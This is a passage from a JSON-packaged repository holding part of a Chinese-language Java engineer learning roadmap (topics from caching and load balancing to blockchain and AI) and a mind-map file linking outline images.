高性能缓存\n    \n            * 缓存穿透\n    \n            * 缓存雪崩\n    \n            * 缓存热点\n    \n        * 负载均衡\n    \n        * PPC、TPC\n\n    * 监控\n            \n        * 监控什么\n            \n            * CPU\n            \n            * 内存\n            \n            * 磁盘I/O\n            \n            * 网络I/O\n            \n        * 监控手段\n            \n            * 进程监控\n            \n            * 语义监控\n            \n            * 机器资源监控\n            \n            * 数据波动\n            \n        * 监控数据采集\n            \n            * 日志\n            * 埋点\n            \n        * Dapper\n            \n    * 负载均衡\n    \n        * 负载均衡分类\n        \n            * 二层负载均衡\n        \n            * 三层负载均衡\n        \n            * 四层负载均衡\n        \n            * 七层负载均衡\n            \n        * 负载均衡工具\n        \n            * LVS\n        \n            * Nginx\n        \n            * HAProxy\n            \n        * 负载均衡算法\n        \n            * 静态负载均衡算法：轮询，比率，优先权\n        \n            * 动态负载均衡算法: 最少连接数,最快响应速度，观察方法，预测法，动态性能分配，动态服务器补充，服务质量，服务类型，规则模式。\n            \n    * DNS\n            \n        * DNS原理\n        \n        * DNS的设计\n            \n    * CDN\n            \n        * 数据一致性\n            \n* 扩展篇\n            \n    * 云计算\n            \n        * IaaS\n        \n        * SaaS\n        \n        * PaaS\n        \n        * 虚拟化技术\n        \n        * openstack\n        \n        * Serverlsess\n            \n    * 搜索引擎\n            \n        * Solr\n        \n        * Lucene\n        \n        * Nutch\n        \n        * Elasticsearch\n            \n    * 权限管理\n            \n        * Shiro\n            \n    * 区块链\n            \n        * 哈希算法\n        * Merkle树\n        * 公钥密码算法\n        * 共识算法\n        * Raft协议\n        * Paxos 算法与 Raft 算法\n        * 拜占庭问题与算法\n        * 消息认证码与数字签名\n            \n        * 比特币\n            \n           * 挖矿\n           * 共识机制\n           * 闪电网络\n           * 侧链\n           * 热点问题\n           * 分叉\n            \n        * 以太坊\n            \n           * 超级账本\n            \n    * 人工智能\n            \n        * 数学基础\n        * 机器学习\n        * 人工神经网络\n        * 深度学习\n        * 应用场景\n            \n        * 常用框架\n            \n            * TensorFlow\n            * DeepLearning4J\n            \n    * IoT\n            \n    * 量子计算\n            \n    * AR & VR\n            \n    * 其他语言\n            \n        * Groovy\n        \n        * Kotlin\n        \n        * Python\n        \n        * Go\n        \n        * NodeJs\n        \n        * Swift\n        \n        * Rust"
  },
  {
    "path": "mind-map.md",
    "content": "[文字目录](/README.md)\n\n### 大纲\n\n![](mind-map/Java工程师成神之路（微信公众号：Hollis）——大纲.png)\n\n### 基础篇\n![](mind-map/Java工程师成神之路（微信公众号：Hollis）——基础篇.png)\n\n### 底层篇\n![](mind-map/Java工程师成神之路（微信公众号：Hollis）——底层篇.png)\n\n### 进阶篇\n![](mind-map/Java工程师成神之路（微信公众号：Hollis）——进阶篇.png)\n\n### 高级篇\n![](mind-map/Java工程师成神之路（微信公众号：Hollis）——高级篇.png)\n\n### 架构篇\n![](mind-map/Java工程师成神之路（微信公众号：Hollis）——架构篇.png)\n\n### 扩展篇\n![](mind-map/Java工程师成神之路（微信公众号：Hollis）——扩展篇.png)"
  }
]